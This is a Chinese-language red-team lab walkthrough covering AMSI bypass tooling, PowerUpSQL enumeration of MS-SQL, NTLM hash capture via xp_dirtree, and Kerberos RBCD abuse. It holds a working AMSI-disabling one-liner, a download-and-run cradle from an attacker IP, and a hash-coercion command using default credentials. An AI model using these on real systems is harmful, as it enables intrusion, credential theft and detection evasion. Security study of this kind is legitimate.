这段脚本通过启动和操作 AMSI 事件跟踪(ETW Trace),并根据用户选择的模式(交互式或文件扫描)捕获 AMSI 事件日志,以便分析检测触发的 AMSI 事件。

PS C:\RedteamNotes\ByAMSI\AMSITools> gc Get-AMSIscanResult.ps1
#Requires -RunAsAdministrator

function Get-AMSIscanResult {
<#
.SYNOPSIS
Starts AMSI ETW Trace and then either waits for user to trigger detection or scans input file.
Then collects AMSI events and prints them on output.

Based on Matt Graeber's AMSITools.ps1, sourced:
    https://gist.github.com/mgraeber-rc/1eb42d3ec9c2f677e70bb14c3b7b5c9c

.PARAMETER File
Input file to scan if Interactive is not used.

.PARAMETER Interactive
Will wait for user to trigger AMSI detections and await for Enter keypress.
When Enter is pressed, will pull collected AMSI events.

.PARAMETER StandardAppName
Specifies the application name to emulate that will supply the buffer to AmsiScanBuffer. The following application names are supported:
* PowerShell - Refers to PowerShell script code. This application name is supplied in System.Management.Automation.dll. PowerShell generates a dynamic application name string in the form of PowerShell_POWERSHELLPATH_POWERSHELLVERSION.
* VBScript - Refers to VBScript script code. This application name is supplied in vbscript.dll
* JScript - Refers to JScript script code. This application name is supplied in jscript.dll, jscript9.dll, and jscriptlegacy.dll
* WMI - Refers to WMI operations. This application name is supplied in fastprox.dll
* DotNet - Refers to in-memory .NET assembly loads in .NET 4.8+. This application name is supplied in clr.dll
* coreclr - Refers to in-memory .NET assembly loads in .NET 4.8+. This application name is supplied in coreclr.dll


# Step 1: Disable AMSI for this powershell runspace.
#
[Runtime.InteropServices.Marshal]::WriteByte((([Ref].Assembly.GetTypes()|?{$_ -clike '*Am*ls*'}).GetFields(40)|?{$_ -clike '*xt'}).GetValue($null),0x5)

#
# Step 2: Load Matt Graeber's AMSITools.ps1
#
. "$PSScriptRoot\AMSITools.ps1"

#
# Step 3: Start an ETW Trace
#
Remove-Item $TraceFile -EA SilentlyContinue | Out-Null
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o $TraceFile -ets | Out-Null

if ($Interactive) {
    Write-Host "Trigger AMSI detections now and then press any key to pull AMSI events..."
    $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown');
} else {
    #
    # Step 4: Read input file
    #
    $bytes = Get-Content $File -Encoding Byte

    #
    # Step 5: Feed AMSI trace
    #
    Send-AmsiContent -StandardAppName $StandardAppName -ContentBytes $bytes
}

#
# Step 6: Stop ETW Trace
#
logman stop AMSITrace -ets | Out-Null

#
# Step 7: Pull collected events
#
Get-AMSIEvent -Path $traceFile

Write-Host "If you wish to pull AMSI events again, simply run in this terminal:`n`tGet-AMSIEvent -Path $traceFile`n"

}

5. AMSITrigger v3

https://github.com/RythmStick/AMSITrigger


PS C:\program\ByAMSI> .\AMSITrigger.exe

@_RythmStick

-i, -inputfile=VALUE       Powershell filename
-u, -url=VALUE             URL eg. https://10.1.1.1/Invoke-NinjaCopy.ps1
-f, -format=VALUE          Output Format:
                              1 - Only show Triggers
                              2 - Show Triggers with Line numbers
                              3 - Show Triggers inline with code
                              4 - Show AMSI calls (xmas tree mode)
-d, -debug                 Show Debug Info
-p, -pause=VALUE           Pause after displaying VALUE triggers  
-m, -maxsiglength=VALUE    Maximum signature Length to cater for,
                              default=2048
-c, -chunksize=VALUE       Chunk size to send to AMSIScanBuffer,
                              default=4096
-h, -?, -help              Show Help

6. amsi.fail

https://amsi.fail

AMSI.fail 会生成混淆的 PowerShell 片段,这些片段会中断或禁用当前进程的 AMSI。片段从一小群技巧/变奏曲中随机抽取,然后被混淆。每个片段在运行时/请求时都存在混淆,因此没有生成的输出共享相同的签名。

7. Invoke-Obfuscation

Invoke-Obfuscation 是一个专为 PowerShell 脚本混淆设计的开源工具,由 Daniel Bohannon 开发。工具支持多种混淆技术,包括字符串加密、变量重命名、命令编码等,以帮助用户生成更难被检测和分析的脚本。Invoke-Obfuscation 常被用于研究恶意代码检测和防御机制,也为蓝队和红队提供了理解攻击者行为的参考。其主要目标是展示 PowerShell 混淆的可能性。最新版本是 Invoke-Obfuscation v1.8,也有几年没更新了。需要辨识使用。

官方Daniel Bohannon链接

https://github.com/danielbohannon/Invoke-Obfuscation

Z2O安全攻防链接

https://github.com/komomon/Invoke-Obfuscation-Bypass

8. ISESteroids

ISESteroids 是为 PowerShell ISE(Integrated Scripting Environment,集成脚本环境)提供的一组扩展/增强插件。

它给 ISE 加上许多高效的开发辅助功能(比如代码片段、重构、调试增强、界面改进、性能工具等),以提升在 ISE 中编写和调试 PowerShell 脚本的效率。

https://www.powershellgallery.com/packages/ISESteroids/2.7.1.9

9. 参考资料

  1. Hunting for AMSI bypasses
    https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d

  2. Microsoft AMSI 文档
    https://learn.microsoft.com/zh-cn/windows/win32/amsi/antimalware-scan-interface-portal

  3. .NET 混淆工具列表
    https://github.com/NotPrab/.NET-Obfuscator

  4. Invoke-Sharploader 项目
    https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader

  5. BlackHat:PowerShell 混淆检测
    https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf

  6. Making AMSI Jump
    https://offensivedefence.co.uk/posts/making-amsi-jump

  7. PowerSharpPack 项目
    https://github.com/S3cur3Th1sSh1t/PowerSharpPack

防御规避是每个红队操作员都必须掌握的一项关键技能。

杀毒软件厂商一直在提升其检测能力,并广泛采用机器学习或行为分析等新技术。

与此同时,威胁猎人也在不断提升自身技能,以便更有效地发现红队活动和真实攻击。

红队操作员要充分理解各类攻击性工具的工作原理,以及现有防御技术和流程中的局限性,从而保持隐蔽并避免被蓝队检测到。

一些技术可能会在一定时间后被防御方掌握,因此需要持续研究并不断发掘新的绕过手段。

2 枚举目标应用 MS-SQL Server

  • 在成功绕过AMSI之后,下一步是加载专门的工具对server04上的MS-SQL Server实例进行深入的枚举和审计。

2.1 PowerUpSQL 工具集

  • 工具简介

    • PowerUpSQL是一个专为SQL Server设计的PowerShell安全审计和攻击工具集,由NetSPI的Scott Sutherland开发。

    • 它集成了SQL Server实例发现、权限枚举、数据库攻击(SQL注入、后门)、数据提取、权限提升和持久化访问等一系列强大功能。

    • 是红队操作和渗透测试中针对SQL Server的首选工具之一。

  • 加载与使用

    • 首先,需要将PowerUpSQL.ps1脚本加载到当前的PowerShell会话中。通常通过远程下载并在内存中执行的方式进行,以避免文件落地。

    Set-ExecutionPolicy Unrestricted
    Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://10.10.16.87/PowerUpSQL.ps1')

2.1.1 发现域内 SQL 实例

  • 使用Get-SQLInstanceDomain函数可以查询Active Directory中的服务主体名称(SPN)来发现在整个域中注册的所有SQL Server实例。

  • 命令示例

    Get-SQLInstanceDomain -Verbose

2.1.2 获取实例详细信息

  • 使用Get-SQLServerInfo可以获取指定SQL Server实例的详细配置信息。

  • 命令示例

    Get-SQLServerInfo -Verbose -Instance sccm.Gigantichosting.local

2.1.3 执行漏洞审计

  • Invoke-SQLAudit是PowerUpSQL的核心功能之一,可以自动化地对目标实例进行一系列安全检查。

  • 命令示例

    Invoke-SQLAudit -Verbose -Instance sccm.GiganticHosting.local
  • 审计发现的关键漏洞

    • Excessive Privilege Trustworthy Database:发现数据库CM_GH1被配置为可信。这意味着该数据库中的代码(如存储过程)可以访问实例外的资源,并可能以高权限执行,结合其他弱配置可能导致提权。

    • Excessive Privilege Execute xp_dirtreePublic角色默认拥有执行xp_dirtree扩展存储过程的权限。攻击者可利用此过程强制SQL Server服务账户向攻击者控制的SMB服务器进行身份验证,从而捕获或中继其Net-NTLM哈希。

    • Excessive Privilege Execute xp_fileexist:与xp_dirtree类似,xp_fileexist也可被Public角色执行,并用于触发SMB身份验证。

    • Default/Weak Login Password:在对SERVER04\RE7_MS实例的审计中,发现存在默认凭据Admin/Admin

2.1.4 枚举数据库

  • 在审计之后,可以进一步手动枚举数据库及其属性。

  • 获取数据库列表 (排除默认库)

    Get-SQLDatabase -NoDefaults
  • 直接执行 SQL 查询

    Get-SQLQuery -Verbose -Instance sccm.gigantichosting.local -Query "select name FROM sys.databases"

2.2 sqlcmd 命令行工具

  • 工具简介

    • sqlcmd是微软官方提供的SQL Server命令行客户端工具,用于执行T-SQL语句、脚本和管理任务。

    • 作为系统原生工具,使用sqlcmd进行操作通常比第三方脚本更隐蔽,免杀效果更好。

  • 使用方法

    • sqlcmd -L: 列出网络上可发现的SQL Server实例。

    • 连接并执行查询:

      sqlcmd -S servername\instancename -U username -P password -Q "SELECT * FROM myTable"
    • -E参数使用Windows集成认证,无需提供用户名密码。

2.3 利用 xp_dirtree 捕获 Net-NTLM 哈希

  • 扩展存储过程 (Extended Stored Procedure)

    • xp_开头的存储过程是SQL Server的扩展存储过程,它们通常是用C/C++编写的DLL,允许SQL Server执行操作系统级别的操作,如文件系统访问(xp_dirtree)或命令执行(xp_cmdshell)。

  • 攻击原理

    • 利用Invoke-SQLAudit发现的xp_dirtree公共执行权限,我们可以构造一条命令,强制SQL Server服务去访问一个不存在的UNC路径,该路径指向我们控制的SMB服务器。

    • 当SQL Server尝试访问该UNC路径时,其服务账户会向我们的服务器发送Net-NTLMv2哈希进行身份验证。

  • 执行命令

    • 在攻击机上启动responderimpacket-ntlmrelayx等工具进行监听。

    • server04的PowerShell会话中,使用sqlcmd执行以下命令,凭据为审计发现的Admin/Admin

    sqlcmd -S SERVER04\RE7_MS -U Admin -P Admin -Q "EXEC master.sys.xp_dirtree '\\[攻击机IP]\something';"

3 委派攻击:基于资源的约束委派 (RBCD)

  • 在获取了SQL Server服务账户的哈希并成功中继后,下一步的横向移动或权限提升将涉及到Kerberos委派,特别是基于资源的约束委派(RBCD)。

3.1 精确理解委派的概念

  • 核心定义:委派 (Delegation) 是Kerberos协议中的一种机制,它允许一个服务(如Web服务器)以用户的身份去访问另一个服务(如数据库服务器)。

  • 业务需求:在分布式系统中,委派是实现复杂业务流程和维持安全性的关键。

    • 维持用户上下文:确保后端服务能识别出发起请求的原始用户身份,并据此进行权限判断。

    • 简化权限管理:前端服务无需存储用户的敏感凭据,而是通过安全的Kerberos协议代理用户身份,符合最小权限原则。

    • 支持完整工作流:使得一个服务可以代表用户调用链式的多个后端服务,完成一个完整的业务操作。

3.2 委派的三种类型

  • 非约束委派 (Unconstrained Delegation)

    • 机制:服务账户可以获取用户的TGT (Ticket Granting Ticket)副本,并使用该TGT以用户身份访问域内任意其他服务

    • 风险:如果该服务账户被攻破,攻击者可以窃取内存中的TGT,从而冒充用户在域内横向移动。安全性较低。

  • 约束委派 (Constrained Delegation)

    • 机制:域管理员配置服务账户,明确指定该服务只能以用户身份访问一个预先定义好的目标服务列表(通过msDS-AllowedToDelegateTo属性)。

    • 安全性:风险显著降低,因为滥用范围被严格限制。

  • 基于资源的约束委派 (Resource-Based Constrained Delegation, RBCD)

    • 机制:逻辑相反,由目标资源(如文件服务器)来配置,允许哪些服务账户可以代理用户来访问它自己(通过msDS-AllowedToActOnBehalfOfOtherIdentity属性)。

    • 优势:配置权限下放给了资源所有者,无需域管理员权限,因此更加灵活,尤其适用于跨域场景。

3.3 如何查询和验证委派类型

  • 查询非约束委派:

    Get-ADComputer -Filter {TrustedForDelegation -eq $true}
  • 查询约束委派:

    Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object {$_.msDS-AllowedToDelegateTo -ne $null}
  • 查询 RBCD:

    Get-ADComputer -Identity <TargetService> -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

3.4 RBCD 的利用流程

  • RBCD的利用是一个两阶段的过程。

  • 第一阶段:配置授权关系

    • 攻击者需要找到一种方法来修改目标资源的msDS-AllowedToActOnBehalfOfOtherIdentity属性,将一个我们控制的账户(可以是用户账户或机器账户)添加进去。

    • 实现这一步通常需要对目标资源拥有写入该属性的权限(如通用写入权限)。

  • 第二阶段:代理访问目标服务

    • 一旦授权关系建立,我们控制的服务账户就可以通过一个两步协议来获取访问目标资源的服务票据。

    • S4U2Self (Service-for-User-to-Self): 我们控制的服务账户首先向KDC请求一张指向自己的服务票据,但票据中的用户名是我们要模拟的目标用户。这一步是为了向KDC证明我们有权进行委派。

    • S4U2Proxy (Service-for-User-to-Proxy): 我们控制的服务账户拿着上一步获得的票据,再次向KDC请求一张指向目标资源的服务票据,票据中的用户名依然是目标用户。

    • 最终,我们就可以使用这张票据,以目标用户的身份访问目标资源。

4 更多枚举方向

  • 在攻击过程中,不应将思路局限于单一路径。当前环境中还存在其他潜在的攻击面值得探索。

  • SCCM服务器枚举:环境中存在一台SCCM服务器(192.168.21.155),SCCM作为企业级的配置管理中心,通常拥有极高的权限,可以向域内所有机器下发软件和执行命令,是一个非常有价值的攻击目标。

  • 缓存票据观察:在新的主机上下文中,应检查是否存在其他用户的Kerberos缓存票据(通过klist等命令)。这些票据可能属于其他高权限用户,并可被用于Pass-the-Ticket攻击或利用其他类型的委派关系。

-.-

0

评论区